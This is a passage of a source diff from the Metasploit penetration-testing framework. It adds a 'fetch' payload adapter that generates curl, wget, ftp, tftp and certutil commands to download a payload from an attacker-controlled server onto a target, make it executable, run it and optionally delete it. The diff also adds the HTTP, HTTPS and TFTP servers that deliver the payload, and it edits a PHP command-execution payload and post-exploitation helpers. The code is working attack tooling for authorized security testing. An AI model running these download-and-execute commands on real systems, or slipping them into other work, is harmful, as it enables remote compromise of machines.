+ @staged = obj_hash['staged'] + @stage_refname = obj_hash['stage_refname'] + @stager_refname = obj_hash['stager_refname'] end def sort_platform_string diff --git a/lib/msf/core/opt_address_routable.rb b/lib/msf/core/opt_address_routable.rb new file mode 100644 index 0000000000000..8379554035949 --- /dev/null +++ b/lib/msf/core/opt_address_routable.rb @@ -0,0 +1,17 @@ +# -*- coding: binary -*- + +module Msf + + ### + # + # Routable network address option. + # + ### + class OptAddressRoutable < OptAddress + + def valid?(value, check_empty: true) + return false if Rex::Socket.is_ip_addr?(value) && Rex::Socket.addr_atoi(value) == 0 + super + end + end +end diff --git a/lib/msf/core/payload/adapter/fetch.rb b/lib/msf/core/payload/adapter/fetch.rb new file mode 100644 index 0000000000000..0699b2b6648a7 --- /dev/null +++ b/lib/msf/core/payload/adapter/fetch.rb @@ -0,0 +1,327 @@ +module Msf::Payload::Adapter::Fetch + + def initialize(*args) + super + register_options( + [ + Msf::OptBool.new('FETCH_DELETE', [true, 'Attempt to delete the binary after execution', false]), + Msf::OptString.new('FETCH_FILENAME', [ false, 'Name to use on remote system when storing payload; cannot contain spaces.', Rex::Text.rand_text_alpha(rand(8..12))], regex:/^[\S]*$/), + Msf::OptPort.new('FETCH_SRVPORT', [true, 'Local port to use for serving payload', 8080]), + Msf::OptAddressRoutable.new('FETCH_SRVHOST', [ true, 'Local IP to use for serving payload']), + Msf::OptString.new('FETCH_URIPATH', [ false, 'Local URI to use for serving payload', '']), + Msf::OptString.new('FETCH_WRITABLE_DIR', [ true, 'Remote writable dir to store payload; cannot contain spaces.', ''], regex:/^[\S]*$/) + ] + ) + register_advanced_options( + [ + Msf::OptAddress.new('FetchListenerBindAddress', [ false, 'The specific IP address to bind to to serve the payload if different from FETCH_SRVHOST']), + Msf::OptPort.new('FetchListenerBindPort', [false, 'The port to bind to if different from FETCH_SRVPORT']), + Msf::OptBool.new('FetchHandlerDisable', [true, 'Disable fetch handler', false]), + Msf::OptString.new('FetchServerName', [true, 'Fetch Server Name', 'Apache']) + ] + ) + @delete_resource = true + @fetch_service = nil + @myresources = [] + @srvexe = '' + @remote_destination_win = nil + @remote_destination_nix = nil + @windows = nil + + end + + # If no fetch URL is provided, we generate one based off the underlying payload data + # This is because if we use a randomly-generated URI, the URI generated by venom and + # Framework will not match. This way, we can build a payload in venom and a listener + # in Framework, and if the underlying payload type/host/port are the same, the URI + # will be, too. + # + def default_srvuri + # If we're in framework, payload is in datastore; msfvenom has it in refname + payload_name = datastore['payload'] ||= refname + decoded_uri = payload_name.dup + # there may be no transport, so leave the connection string off if that's the case + netloc = '' + if module_info['ConnectionType'].upcase == 'REVERSE' || module_info['ConnectionType'].upcase == 'TUNNEL' + netloc << datastore['LHOST'] unless datastore['LHOST'].blank? + unless datastore['LPORT'].blank? + if Rex::Socket.is_ipv6?(netloc) + netloc = "[#{netloc}]:#{datastore['LPORT']}" + else + netloc = "#{netloc}:#{datastore['LPORT']}" + end + end + elsif module_info['ConnectionType'].upcase == 'BIND' + netloc << datastore['LHOST'] unless datastore['LHOST'].blank? + unless datastore['RPORT'].blank? + if Rex::Socket.is_ipv6?(netloc) + netloc = "[#{netloc}]:#{datastore['RPORT']}" + else + netloc = "#{netloc}:#{datastore['RPORT']}" + end + end + end + decoded_uri << ";#{netloc}" + Base64.urlsafe_encode64(OpenSSL::Digest::MD5.new(decoded_uri).digest, padding: false) + end + + def download_uri + "#{srvnetloc}/#{srvuri}" + end + + def fetch_bindhost + datastore['FetchListenerBindAddress'].blank? ? srvhost : datastore['FetchListenerBindAddress'] + end + + def fetch_bindport + datastore['FetchListenerBindPort'].blank? ? srvport : datastore['FetchListenerBindPort'] + end + + def generate(opts = {}) + opts[:arch] ||= module_info['AdaptedArch'] + opts[:code] = super + @srvexe = generate_payload_exe(opts) + cmd = generate_fetch_commands + vprint_status("Command to run on remote host: #{cmd}") + cmd + end + + def generate_fetch_commands + # TODO: Make a check method that determines if we support a platform/server/command combination + # + case datastore['FETCH_COMMAND'].upcase + when 'FTP' + return _generate_ftp_command + when 'TNFTP' + return _generate_tnftp_command + when 'WGET' + return _generate_wget_command + when 'CURL' + return _generate_curl_command + when 'TFTP' + return _generate_tftp_command + when 'CERTUTIL' + return _generate_certutil_command + else + fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected') + end + end + + def generate_stage(opts = {}) + opts[:arch] ||= module_info['AdaptedArch'] + super + end + + def generate_payload_uuid(conf = {}) + conf[:arch] ||= module_info['AdaptedArch'] + conf[:platform] ||= module_info['AdaptedPlatform'] + super + end + + def handle_connection(conn, opts = {}) + opts[:arch] ||= module_info['AdaptedArch'] + super + end + + def srvhost + datastore['FETCH_SRVHOST'] + end + + def srvnetloc + netloc = srvhost + if Rex::Socket.is_ipv6?(netloc) + netloc = "[#{netloc}]:#{srvport}" + else + netloc = "#{netloc}:#{srvport}" + end + netloc + end + + def srvport + datastore['FETCH_SRVPORT'] + end + + def srvuri + return datastore['FETCH_URIPATH'] unless datastore['FETCH_URIPATH'].blank? + default_srvuri + end + + def srvname + datastore['FetchServerName'] + end + + def windows? + return @windows unless @windows.nil? + @windows = platform.platforms.first == Msf::Module::Platform::Windows + @windows + end + + def _check_tftp_port + # Most tftp clients do not have configurable ports + if datastore['FETCH_SRVPORT'] != 69 && datastore['FetchListenerBindPort'].blank? + print_error('The TFTP client can only connect to port 69; to start the server on a different port use FetchListenerBindPort and redirect the connection.') + fail_with(Msf::Module::Failure::BadConfig, 'FETCH_SRVPORT must be set to 69 when using the tftp client') + end + end + + def _check_tftp_file + # Older Linux tftp clients do not support saving the file under a different name + unless datastore['FETCH_WRITABLE_DIR'].blank? && datastore['FETCH_FILENAME'].blank? + print_error('The Linux TFTP client does not support saving a file under a different name than the URI.') + fail_with(Msf::Module::Failure::BadConfig, 'FETCH_WRITABLE_DIR and FETCH_FILENAME must be blank when using the tftp client') + end + end + + # copied from https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/exploit/remote/socket_server.rb + def _determine_server_comm(ip, srv_comm = datastore['ListenerComm'].to_s) + comm = nil + + case srv_comm + when 'local' + comm = ::Rex::Socket::Comm::Local + when /\A-?[0-9]+\Z/ + comm = framework.sessions.get(srv_comm.to_i) + raise(RuntimeError, "Socket Server Comm (Session #{srv_comm}) does not exist") unless comm + raise(RuntimeError, "Socket Server Comm (Session #{srv_comm}) does not implement Rex::Socket::Comm") unless comm.is_a? ::Rex::Socket::Comm + when nil, '' + unless ip.nil? + comm = Rex::Socket::SwitchBoard.best_comm(ip) + end + else + raise(RuntimeError, "SocketServer Comm '#{srv_comm}' is invalid") + end + + comm || ::Rex::Socket::Comm::Local + end + + def _execute_add + return _execute_win if windows? + return _execute_nix + end + + def _execute_win + cmds = " & start /B #{_remote_destination_win}" + cmds << " & del #{_remote_destination_win}" if datastore['FETCH_DELETE'] + cmds + end + + def _execute_nix + cmds = "; chmod +x #{_remote_destination_nix}" + cmds << "; #{_remote_destination_nix} &" + cmds << ";rm -rf #{_remote_destination_nix}" if datastore['FETCH_DELETE'] + cmds + end + + def _generate_certutil_command + case fetch_protocol + when 'HTTP' + cmd = "certutil -urlcache -f http://#{download_uri} #{_remote_destination}" + when 'HTTPS' + # I don't think there is a way to disable cert check in certutil.... + print_error('CERTUTIL binary does not support insecure mode') + fail_with(Msf::Module::Failure::BadConfig, 'FETCH_CHECK_CERT must be true when using CERTUTIL') + cmd = "certutil -urlcache -f https://#{download_uri} #{_remote_destination}" + else + fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected') + end + cmd + _execute_add + end + + def _generate_curl_command + case fetch_protocol + when 'HTTP' + cmd = "curl -so #{_remote_destination} http://#{download_uri}" + when 'HTTPS' + cmd = "curl -sko #{_remote_destination} https://#{download_uri}" + when 'TFTP' + cmd = "curl -so #{_remote_destination} tftp://#{download_uri}" + else + fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected') + end + cmd + _execute_add + end + + + def _generate_ftp_command + case fetch_protocol + when 'FTP' + cmd = "ftp -Vo #{_remote_destination_nix} ftp://#{download_uri}#{_execute_nix}" + when 'HTTP' + cmd = "ftp -Vo #{_remote_destination_nix} http://#{download_uri}#{_execute_nix}" + when 'HTTPS' + cmd = "ftp -Vo #{_remote_destination_nix} https://#{download_uri}#{_execute_nix}" + else + fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected') + end + end + + def _generate_tftp_command + _check_tftp_port + case fetch_protocol + when 'TFTP' + if windows? + cmd = "tftp -i #{srvhost} GET #{srvuri} #{_remote_destination} #{_execute_win}" + else + _check_tftp_file + cmd = "(echo binary ; echo get #{srvuri} ) | tftp #{srvhost}; chmod +x ./#{srvuri}; ./#{srvuri} &" + end + else + fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected') + end + cmd + end + + def _generate_tnftp_command + case fetch_protocol + when 'FTP' + cmd = "tnftp -Vo #{_remote_destination_nix} ftp://#{download_uri}#{_execute_nix}" + when 'HTTP' + cmd = "tnftp -Vo #{_remote_destination_nix} http://#{download_uri}#{_execute_nix}" + when 'HTTPS' + cmd = "tnftp -Vo #{_remote_destination_nix} https://#{download_uri}#{_execute_nix}" + else + fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected') + end + end + + def _generate_wget_command + case fetch_protocol + when 'HTTPS' + cmd = "wget -qO #{_remote_destination} --no-check-certificate https://#{download_uri}" + when 'HTTP' + cmd = "wget -qO #{_remote_destination} http://#{download_uri}" + else + fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected') + end + cmd + _execute_add + end + + def _remote_destination + return _remote_destination_win if windows? + return _remote_destination_nix + end + + def _remote_destination_nix + return @remote_destination_nix unless @remote_destination_nix.nil? + writable_dir = datastore['FETCH_WRITABLE_DIR'] + writable_dir = '.' if writable_dir.blank? + writable_dir += '/' unless writable_dir[-1] == '/' + payload_filename = datastore['FETCH_FILENAME'] + payload_filename = srvuri if payload_filename.blank? + payload_path = writable_dir + payload_filename + @remote_destination_nix = payload_path + @remote_destination_nix + end + + def _remote_destination_win + return @remote_destination_win unless @remote_destination_win.nil? + writable_dir = datastore['FETCH_WRITABLE_DIR'] + writable_dir += '\\' unless writable_dir.blank? || writable_dir[-1] == '\\' + payload_filename = datastore['FETCH_FILENAME'] + payload_filename = srvuri if payload_filename.blank? + payload_path = writable_dir + payload_filename + payload_path = payload_path + '.exe' unless payload_path[-4..-1] == '.exe' + @remote_destination_win = payload_path + @remote_destination_win + end +end diff --git a/lib/msf/core/payload/adapter/fetch/http.rb b/lib/msf/core/payload/adapter/fetch/http.rb new file mode 100644 index 0000000000000..6f2eecc7f8bd6 --- /dev/null +++ b/lib/msf/core/payload/adapter/fetch/http.rb @@ -0,0 +1,23 @@ +module Msf::Payload::Adapter::Fetch::HTTP + + include Msf::Exploit::EXE + include Msf::Payload::Adapter + include Msf::Payload::Adapter::Fetch + include Msf::Payload::Adapter::Fetch::Server::HTTP + + def initialize(*args) + super + end + + def cleanup_handler + cleanup_http_fetch_service(@fetch_service, @delete_resource) + super + end + + def setup_handler + @fetch_service = start_http_fetch_handler(srvname, @srvexe) unless datastore['FetchHandlerDisable'] + super + end + +end + diff --git a/lib/msf/core/payload/adapter/fetch/https.rb b/lib/msf/core/payload/adapter/fetch/https.rb new file mode 100644 index 0000000000000..d83267125542c --- /dev/null +++ b/lib/msf/core/payload/adapter/fetch/https.rb @@ -0,0 +1,22 @@ +module Msf::Payload::Adapter::Fetch::Https + + include Msf::Exploit::EXE + include Msf::Payload::Adapter + include Msf::Payload::Adapter::Fetch + include Msf::Payload::Adapter::Fetch::Server::Https + + def initialize(*args) + super + end + + def cleanup_handler + cleanup_http_fetch_service(@fetch_service, @delete_resource) + super + end + + def setup_handler + @fetch_service = start_https_fetch_handler(srvname, @srvexe) unless datastore['FetchHandlerDisable'] + super + end + +end \ No newline at end of file diff --git a/lib/msf/core/payload/adapter/fetch/linux_options.rb b/lib/msf/core/payload/adapter/fetch/linux_options.rb new file mode 100644 index 0000000000000..4c162e934a46c --- /dev/null +++ b/lib/msf/core/payload/adapter/fetch/linux_options.rb @@ -0,0 +1,13 @@ +module Msf::Payload::Adapter::Fetch::LinuxOptions + + def initialize(info = {}) + super(update_info(info, + 'DefaultOptions' => { 'FETCH_WRITABLE_DIR' => '/tmp' } + )) + register_options( + [ + Msf::OptEnum.new('FETCH_COMMAND', [true, 'Command to fetch payload', 'CURL', %w{ CURL FTP TFTP TNFTP WGET }]) + ] + ) + end +end \ No newline at end of file diff --git a/lib/msf/core/payload/adapter/fetch/server/http.rb b/lib/msf/core/payload/adapter/fetch/server/http.rb new file mode 100644 index 0000000000000..74556663dc69b --- /dev/null +++ b/lib/msf/core/payload/adapter/fetch/server/http.rb @@ -0,0 +1,24 @@ +module Msf::Payload::Adapter::Fetch::Server::HTTP + include Msf::Payload::Adapter::Fetch::Server::Https + + # This mixin supports only HTTP fetch handlers but still imports the HTTPS mixin. + # We just remove the HTTPS Options so the user does not see them. + # + + def initialize(*args) + super + deregister_options('FETCH_SSL', + 'FETCH_CHECK_CERT', + 'FetchSSLCert', + 'FetchSSLCompression', + 'FetchSSLCipher', + 'FetchSSLCipher', + 'FetchSSLVersion' + ) + end + + def fetch_protocol + 'HTTP' + end + +end diff --git a/lib/msf/core/payload/adapter/fetch/server/https.rb b/lib/msf/core/payload/adapter/fetch/server/https.rb new file mode 100644 index 0000000000000..47127b47506d1 --- /dev/null +++ b/lib/msf/core/payload/adapter/fetch/server/https.rb @@ -0,0 +1,153 @@ +module Msf::Payload::Adapter::Fetch::Server::Https + + # This mixin supports both HTTP and HTTPS fetch handlers. If you only want + # HTTP, use the HTTP mixin that imports this, but removes the HTTPS options + def initialize(*args) + super + register_options( + [ + Msf::OptBool.new('FETCH_CHECK_CERT', [true,"Check SSL certificate", false]) + + ] + ) + register_advanced_options( + [ + Msf::OptString.new('FetchHttpServerName', [true, 'Http Server Name', 'Apache']), + Msf::OptPath.new('FetchSSLCert', [ false, 'Path to a custom SSL certificate (default is randomly generated)', '']), + Msf::OptBool.new('FetchSSLCompression', [ false, 'Enable SSL/TLS-level compression', false ]), + Msf::OptString.new('FetchSSLCipher', [ false, 'String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"']), + Msf::OptEnum.new('FetchSSLVersion', + 'Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate)', + enums: Rex::Socket::SslTcp.supported_ssl_methods) + ] + ) + end + + def add_resource(fetch_service, uri, srvexe) + vprint_status("Adding resource #{uri}") + if fetch_service.resources.include?(uri) + # When we clean up, we need to leave resources alone, because we never added one. + @delete_resource = false + fail_with(Msf::Exploit::Failure::BadConfig, "Resource collision detected. Set FETCH_URI to a different value to continue.") + end + fetch_service.add_resource(uri, + 'Proc' => proc do |cli, req| + on_request_uri(cli, req, srvexe) + end, + 'VirtualDirectory' => true) + rescue ::Exception => e + # When we clean up, we need to leave resources alone, because we never added one. + @delete_resource = false + fail_with(Msf::Exploit::Failure::Unknown, "Failed to add resource\n #{e}") + end + + def cleanup_http_fetch_service(fetch_service, delete_resource) + unless fetch_service.nil? + escaped_srvuri = ('/' + srvuri).gsub('//', '/') + if fetch_service.resources.include?(escaped_srvuri) && delete_resource + fetch_service.remove_resource(escaped_srvuri) + end + fetch_service.deref + if fetch_service.resources.empty? + # if we don't call deref, we cannot start another httpserver + # this is a reimplementation of the cleanup_service method + # in Exploit::Remote::SocketServer + temp_service = fetch_service + fetch_service = nil + temp_service.cleanup + temp_service.deref + end + end + end + + def fetch_protocol + 'HTTPS' + end + + def on_request_uri(cli, request, srvexe) + client = cli.peerhost + vprint_status("Client #{client} requested #{request.uri}") + if (user_agent = request.headers['User-Agent']) + client += " (#{user_agent})" + end + vprint_status("Sending payload to #{client}") + cli.send_response(payload_response(srvexe)) + end + + def payload_response(srvexe) + res = Rex::Proto::Http::Response.new(200, 'OK', Rex::Proto::Http::DefaultProtocol) + res['Content-Type'] = 'text/html' + res.body = srvexe.to_s.unpack('C*').pack('C*') + res + end + + def ssl_cert + datastore['FetchSSLCert'] + end + + def ssl_compression + datastore['FetchSSLCompression'] + end + + def ssl_cipher + datastore['FetchSSLCipher'] + end + + def ssl_version + datastore['FetchSSLVersion'] + end + + def start_http_fetch_handler(srvname, srvexe) + # this looks a bit funny because I converted it to use an instance variable so that if we crash in the + # middle and don't return a value, we still have the right fetch_service to clean up. + escaped_srvuri = ('/' + srvuri).gsub('//', '/') + @fetch_service = start_https_server(false, nil, nil, nil, nil) if @fetch_service.nil? + if @fetch_service.nil? + cleanup_handler + fail_with(Msf::Exploit::Failure::BadConfig, "Fetch Handler failed to start on #{fetch_bindhost}:#{fetch_bindport}") + end + vprint_status('HTTP server started') + @fetch_service.server_name = srvname + add_resource(@fetch_service, escaped_srvuri, srvexe) + @fetch_service + end + + def start_https_fetch_handler(srvname, srvexe) + # this looks a bit funny because I converted it to use an instance variable so that if we crash in the + # middle and don't return a value, we still have the right fetch_service to clean up. + escaped_srvuri = ('/' + srvuri).gsub('//', '/') + @fetch_service = start_https_server(true, ssl_cert, ssl_compression, ssl_cipher, ssl_version) if @fetch_service.nil? + if @fetch_service.nil? + cleanup_handler + fail_with(Msf::Exploit::Failure::BadConfig, "Fetch Handler failed to start on #{fetch_bindhost}:#{fetch_bindport}\n #{e}") + end + vprint_status('HTTPS server started') + @fetch_service.server_name = srvname + add_resource(@fetch_service, escaped_srvuri, srvexe) + @fetch_service + end + + def start_https_server(ssl, ssl_cert, ssl_compression, ssl_cipher, ssl_version) + begin + fetch_service = Rex::ServiceManager.start( + Rex::Proto::Http::Server, + fetch_bindport, fetch_bindhost, ssl, + { + 'Msf' => framework, + 'MsfExploit' => self + }, + _determine_server_comm(fetch_bindhost), + ssl_cert, + ssl_compression, + ssl_cipher, + ssl_version + ) + rescue Exception => e + cleanup_handler + fail_with(Msf::Exploit::Failure::BadConfig, "Fetch Handler failed to start on #{fetch_bindhost}:#{fetch_bindport}\n #{e}") + end + vprint_status("Fetch Handler listening on #{fetch_bindhost}:#{fetch_bindport}") + fetch_service + end + +end diff --git a/lib/msf/core/payload/adapter/fetch/server/tftp.rb b/lib/msf/core/payload/adapter/fetch/server/tftp.rb new file mode 100644 index 0000000000000..ad689fcee6fcd --- /dev/null +++ b/lib/msf/core/payload/adapter/fetch/server/tftp.rb @@ -0,0 +1,36 @@ +module Msf::Payload::Adapter::Fetch::Server::TFTP + + def start_tftp_server(srvport, srvhost) + vprint_status("Starting TFTP server on #{srvhost}:#{srvport}") + Rex::Proto::TFTP::Server.new(srvport, srvhost, {}) + end + + def initialize(*args) + super + register_options( + [ + Msf::OptBool.new('FETCH_SRVONCE', [ true, 'Stop serving the payload after it is retrieved', true ]) + ] + ) + end + def cleanup_tftp_fetch_service(fetch_service) + fetch_service.stop unless fetch_service.nil? + end + + def fetch_protocol + 'TFTP' + end + + def start_tftp_fetch_handler(srvport, srvhost, srvuri, srvexe) + fetch_service = start_tftp_server(srvport, srvhost) + if fetch_service.nil? + cleanup_handler + fail_with(Msf::Exploit::Failure::BadConfig, "Fetch Handler failed to start on #{srvhost}:#{srvport}\n #{e}") + end + fetch_service.register_file(srvuri, srvexe, datastore['FETCH_SRVONCE']) + fetch_service.start + fetch_service + end + +end + diff --git a/lib/msf/core/payload/adapter/fetch/tftp.rb b/lib/msf/core/payload/adapter/fetch/tftp.rb new file mode 100644 index 0000000000000..acda02eb9becd --- /dev/null +++ b/lib/msf/core/payload/adapter/fetch/tftp.rb @@ -0,0 +1,22 @@ +module Msf::Payload::Adapter::Fetch::TFTP + + include Msf::Exploit::EXE + include Msf::Payload::Adapter + include Msf::Payload::Adapter::Fetch + include Msf::Payload::Adapter::Fetch::Server::TFTP + + def initialize(*args) + super + end + + def cleanup_handler + cleanup_tftp_fetch_service(@fetch_service) + super + end + + def setup_handler + @fetch_service = start_tftp_fetch_handler(fetch_bindport, fetch_bindhost, srvuri, @srvexe) unless datastore['FetchHandlerDisable'] + super + end + +end \ No newline at end of file diff --git a/lib/msf/core/payload/adapter/fetch/windows_options.rb b/lib/msf/core/payload/adapter/fetch/windows_options.rb new file mode 100644 index 0000000000000..3a044b32444b3 --- /dev/null +++ b/lib/msf/core/payload/adapter/fetch/windows_options.rb @@ -0,0 +1,13 @@ +module Msf::Payload::Adapter::Fetch::WindowsOptions + + def initialize(info = {}) + super(update_info(info, + 'DefaultOptions' => { 'FETCH_WRITABLE_DIR' => '%TEMP%' } + )) + register_options( + [ + Msf::OptEnum.new('FETCH_COMMAND', [true, 'Command to fetch payload', 'CURL', %w{ CURL TFTP CERTUTIL }]) + ] + ) + end +end diff --git a/lib/msf/core/payload/php.rb b/lib/msf/core/payload/php.rb index d78018d147581..64f78dd01d37d 100644 --- a/lib/msf/core/payload/php.rb +++ b/lib/msf/core/payload/php.rb @@ -25,13 +25,12 @@ def php_preamble(options = {}) # Canonicalize the list of disabled functions to facilitate choosing a # system-like function later. preamble = "/*&1\\n\"; } #{is_callable}='is_callable'; #{in_array}='in_array'; " shell_exec = " - if(#{is_callable}('shell_exec')and!#{in_array}('shell_exec',#{dis})){ - #{output}=shell_exec(#{cmd}); + if(#{is_callable}('shell_exec')&&!#{in_array}('shell_exec',#{dis})){ + #{output}=`#{cmd}`; }else" passthru = " - if(#{is_callable}('passthru')and!#{in_array}('passthru',#{dis})){ + if(#{is_callable}('passthru')&&!#{in_array}('passthru',#{dis})){ ob_start(); passthru(#{cmd}); #{output}=ob_get_contents(); ob_end_clean(); }else" system = " - if(#{is_callable}('system')and!#{in_array}('system',#{dis})){ + if(#{is_callable}('system')&&!#{in_array}('system',#{dis})){ ob_start(); system(#{cmd}); #{output}=ob_get_contents(); ob_end_clean(); }else" exec = " - if(#{is_callable}('exec')and!#{in_array}('exec',#{dis})){ + if(#{is_callable}('exec')&&!#{in_array}('exec',#{dis})){ #{output}=array(); exec(#{cmd},#{output}); #{output}=join(chr(10),#{output}).chr(10); }else" proc_open = " - if(#{is_callable}('proc_open')and!#{in_array}('proc_open',#{dis})){ + if(#{is_callable}('proc_open')&&!#{in_array}('proc_open',#{dis})){ $handle=proc_open(#{cmd},array(array('pipe','r'),array('pipe','w'),array('pipe','w')),$pipes); #{output}=NULL; while(!feof($pipes[1])){ @@ -110,7 +109,7 @@ def php_system_block(options = {}) @proc_close($handle); }else" popen = " - if(#{is_callable}('popen')and!#{in_array}('popen',#{dis})){ + if(#{is_callable}('popen')&&!#{in_array}('popen',#{dis})){ $fp=popen(#{cmd},'r'); #{output}=NULL; if(is_resource($fp)){ diff --git a/lib/msf/core/payload/windows/x64/reverse_http_x64.rb b/lib/msf/core/payload/windows/x64/reverse_http_x64.rb index 8c43250f23a17..21e87d26efef1 100644 --- a/lib/msf/core/payload/windows/x64/reverse_http_x64.rb +++ b/lib/msf/core/payload/windows/x64/reverse_http_x64.rb @@ -122,7 +122,7 @@ def generate_uri(opts={}) # Generate the URI for the initial stager # def generate_small_uri - generate_uri_uuid_mode(:init_native, 5) + generate_uri_uuid_mode(:init_native, 30) end # diff --git a/lib/msf/core/payload_set.rb b/lib/msf/core/payload_set.rb index 2c9631d6b33f3..a55a2dc9f7c8d 100644 --- a/lib/msf/core/payload_set.rb +++ b/lib/msf/core/payload_set.rb @@ -158,7 +158,7 @@ def calculate_adapted_single_payload(adapter_name:, adapter_info:, single_info:, payload = build_payload(handler, single_mod, adapter_mod) adapted_name = build_adapted_name(adapter_name, single_payload.refname) - add_single(payload, adapted_name, adapted_modinfo) + add_single(payload, adapted_name, adapted_modinfo, adapted_refname: single_payload.refname, adapter_refname: adapter_name) payload end @@ -264,6 +264,8 @@ def calculate_staged_payload(stage_name:, stager_name:, stage_info:, stager_info # Sets the modules derived name payload.refname = staged_refname + payload.stage_refname = stage_name + payload.stager_refname = stager_name # Add the stage add_stage(payload, staged_refname, stage_name, handler_type, { @@ -287,6 +289,11 @@ def calculate_adapted_staged_payload(staged_payload:, adapter_name:, stage_info: payload.refname = adapted_refname payload.framework = framework payload.file_path = adapter_modinfo['files'][0] + payload.adapted_refname = staged_payload.refname + payload.adapter_refname = adapter_name + payload.stage_refname = staged_payload.stage_refname + payload.stager_refname = staged_payload.stager_refname + self[payload.refname] = payload payload end @@ -307,10 +314,13 @@ def calculate_adapted_staged_payload(staged_payload:, adapter_name:, stage_info: # +type+ argument. # @return [void] def add_module(payload_module, reference_name, modinfo={}) + if modinfo['cached_metadata'] + return add_cached_module(modinfo['cached_metadata']) + end - if (md = reference_name.match(/^(adapters|singles|stagers|stages)#{File::SEPARATOR}(.*)$/)) - ptype = md[1] - reference_name = md[2] + if (match_data = reference_name.match(/^(adapters|singles|stagers|stages)#{File::SEPARATOR}(.*)$/)) + ptype = match_data[1] + reference_name = match_data[2] end # Duplicate the Payload base class and extend it with the module @@ -339,6 +349,52 @@ def add_module(payload_module, reference_name, modinfo={}) payload_type_modules[instance.payload_type][reference_name] = pinfo end + def add_cached_module(cached_module_metadata) + case cached_module_metadata.payload_type + when Payload::Type::Single + single_name = cached_module_metadata.ref_name + single_info = _singles[single_name] + calculate_single_payload(single_name: single_name, single_info: single_info) + when Payload::Type::Stager + stager_refname = cached_module_metadata.stager_refname + stager_info = _stagers[stager_refname] + stage_name = cached_module_metadata.stage_refname + stage_info = _stages[stage_name] + + calculate_staged_payload(stage_name: stage_name, + stager_name: stager_refname, + stage_info: stage_info, + stager_info: stager_info) + + when Payload::Type::Adapter + adapter_name = cached_module_metadata.adapter_refname + adapter_info = _adapters[adapter_name] + + if cached_module_metadata.staged + stage_name = cached_module_metadata.stage_refname + + stage_info = _stages[stage_name] + stager_name= cached_module_metadata.stager_refname + stager_info = _stagers[stager_name] + staged_payload = self[cached_module_metadata.adapted_refname] + + calculate_adapted_staged_payload(staged_payload: staged_payload, + adapter_name: adapter_name, + stage_info: stage_info, + stager_info: stager_info, + adapter_info: adapter_info) + else + single_name = cached_module_metadata.adapted_refname + single_info = _singles[single_name] + single_payload = self[single_name] + calculate_adapted_single_payload(adapter_name: adapter_name, + adapter_info: adapter_info, + single_info: single_info, + single_payload: single_payload) + end + end + end + # # Looks for a payload that matches the specified requirements and # returns an instance of that payload. @@ -398,10 +454,12 @@ def find_payload_from_set(set, platform, arch, handler, session, payload_type) # This method adds a single payload to the set and adds it to the singles # hash. # - def add_single(p, name, modinfo) + def add_single(p, name, modinfo, adapted_refname: nil, adapter_refname: nil) p.framework = framework p.refname = name p.file_path = modinfo['files'][0] + p.adapted_refname = adapted_refname + p.adapter_refname = adapter_refname # Associate this class with the single payload's name self[name] = p diff --git a/lib/msf/core/post/architecture.rb b/lib/msf/core/post/architecture.rb new file mode 100644 index 0000000000000..efc955af39437 --- /dev/null +++ b/lib/msf/core/post/architecture.rb @@ -0,0 +1,46 @@ +# -*- coding: binary -*- + +module Msf::Post::Architecture + + def initialize(info = {}) + super( + update_info( + info, + 'Compat' => { + 'Meterpreter' => { + 'Commands' => %w[ + stdapi_railgun_api + ] + } + } + ) + ) + end + + # Get the architecture of the target's operating system. + # @return [String, Nil] Returns a string containing the target OS architecture if known, or Nil if its not known. + def get_os_architecture + if session.type == 'meterpreter' + return sysinfo['Architecture'] + else + case session.platform + when 'windows', 'win' + # Check for 32-bit process on 64-bit arch + arch = get_env('PROCESSOR_ARCHITEW6432') + if arch.strip.empty? or arch =~ /PROCESSOR_ARCHITEW6432/ + arch = get_env('PROCESSOR_ARCHITECTURE') + end + if arch =~ /AMD64/m + return ARCH_X64 + elsif arch =~ /86/m + return ARCH_X86 + elsif arch =~ /ARM64/m + return ARCH_AARCH64 + else + print_error('Target is running Windows on an unsupported architecture!') + return nil + end + end + end + end +end \ No newline at end of file diff --git a/lib/msf/core/post/file.rb b/lib/msf/core/post/file.rb index a06fe282c7fc2..051f2d46d3eb6 100644 --- a/lib/msf/core/post/file.rb +++ b/lib/msf/core/post/file.rb @@ -49,7 +49,7 @@ def cd(path) if session.type == 'meterpreter' session.fs.dir.chdir(e_path) elsif session.type == 'powershell' - cmd_exec("Set-Location -Path \"#{e_path}\"") + cmd_exec("Set-Location -Path \"#{e_path}\";[System.IO.Directory]::SetCurrentDirectory($(Get-Location))") else session.shell_command_token("cd \"#{e_path}\"") end diff --git a/lib/msf/core/post/windows.rb b/lib/msf/core/post/windows.rb index 8733b8ea87079..4edc7d6136b4f 100644 --- a/lib/msf/core/post/windows.rb +++ b/lib/msf/core/post/windows.rb @@ -1,4 +1,40 @@ # -*- coding: binary -*- module Msf::Post::Windows + # Escape a string literal value to be included as an argument to cmd.exe. The escaped value *should not* be placed + # within double quotes as this will alter now it is evaluated (e.g. `echo "^"((^&test) Foo^""` is different than + # `echo ^"((^&test) Foo^"`. + # + # @param [String] string The string to escape for use with cmd.exe. + # @param [Boolean] spaces Whether or not to escape spaces. If the string is being passed to echo, set this to false + # otherwise if it's an argument, set it to true. + # @return [String] The escaped string. + def self.escape_cmd_literal(string, spaces:) + string = string.dup + %w[ ^ & < > | " ].each { |char| string.gsub!(char, "^#{char}") } + string.gsub!(' ', '" "') if spaces + string + end + + # Escape a string literal value to be included as an argument to powershell.exe. + # This will help in cases where one might need to use & as in PowerShell this is + # a reserved character whereas in cmd.exe this is used to indicate the start + # of an additional command to execute. + # + # Example (without this escaping): + # powershell -Command "cmd /c echo hello & echo world" <- This will result in errors as & is a reserved character. + # powershell -Command "cmd.exe /c 'echo hello & echo world'" <- This will succeed as & is interpreted as part of a string by PowerShell. + # + # In our case we use PowerShell quoting as described at https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_quoting_rules?view=powershell-7.3 + # which states that to use a single quote inside of a single quoted string, use a second consecutive single quote. + # Therefore this is valid in PowerShell: 'don''t' 